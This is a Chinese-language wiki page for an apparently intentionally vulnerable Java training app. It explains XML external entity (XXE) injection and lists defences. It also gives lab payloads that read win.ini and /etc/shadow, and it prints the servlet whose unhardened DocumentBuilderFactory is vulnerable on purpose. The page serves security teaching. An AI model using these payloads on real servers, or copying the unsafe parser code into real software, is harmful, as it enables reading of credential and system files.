-
Notifications
You must be signed in to change notification settings - Fork 35
XXE(XML实体注入)
en0th edited this page Jul 26, 2024
·
3 revisions
XXE漏洞是指XML外部实体注入漏洞(XML External Entity Injection),它是一种Web应用程序安全漏洞,可以让攻击者利用XML解析器漏洞,读取服务器上的任意文件,执行远程请求等恶意操作。 通常,攻击者会在XML文档中注入恶意的外部实体引用,这些实体引用包含了恶意代码,一旦被服务器解析执行,就会执行相应的操作,例如访问敏感数据、上传恶意文件等。攻击者可以通过修改HTTP请求中的XML数据来触发XXE漏洞。 防范XXE漏洞的措施包括:
- 不要信任来自外部的XML数据,对用户输入的XML数据进行严格的输入验证和过滤,包括对实体引用进行白名单或黑名单限制。
- 禁用或限制XML解析器中的外部实体功能,例如限制实体的解析范围,禁用或限制DTD解析等。
- 采用安全编码实践,例如使用SAX解析器,对解析器进行安全配置等。
- 对Web应用程序进行安全漏洞扫描和渗透测试,及时发现和修复漏洞。
考察:了解XML攻击方式
任意输入用户名和密码进行提交。
发现接口提交了XML数据,观察返回数据,发现返回了用户名信息。
参考payload:
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///C:\Windows\win.ini"> ]>
<userInfo>
<username>&ent;</username>
<password>123456</password>
</userInfo>
通过文件包含的方式读取到了系统文件信息。
解析XML有很多方法,比较常见的有XMLReader、SAXBuilder、SAXReader、SAXParserFactory、Digester、DocumentBuilderFactory等。这些方法默认的解析都存在XXE漏洞。 我使用了常见的DocumentBuilderFactory。直接解析请求,并从中根据TagName获取两个标签内容的Text内容。最后还返回了username数据。这就是有回显的XXE漏洞,我们可以用来获取敏感信息。 获取 payload 也很简单,我们可以从GitHub获取。GitHub - payloadbox/xxe-injection-payload-list: XML External Entity (XXE) Injection Payload List
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/shadow"> ]>
<userInfo>
<username>&ent;</username>
<password>John</password>
</userInfo>
代码来源:com/pika/electricrat/xxe/XXEServlet.java
public void readXML(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String result="";
try {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
InputStream ist = request.getInputStream();
Document doc = db.parse(ist);
String username = doc.getElementsByTagName("username").item(0).getTextContent();
String password = doc.getElementsByTagName("password").item(0).getTextContent();
int isLogin = username.equals("admin") && password.equals("123456") ? 1 : 0;
result = String.format("<result><code>%d</code><msg>%s</msg></result>",isLogin,username);
} catch (Exception e) {
e.printStackTrace();
result = String.format("<result><code>%d</code><msg>%s</msg></result>",3,e.getMessage());
}
response.setContentType("text/xml;charset=UTF-8");
response.getWriter().append(result);
}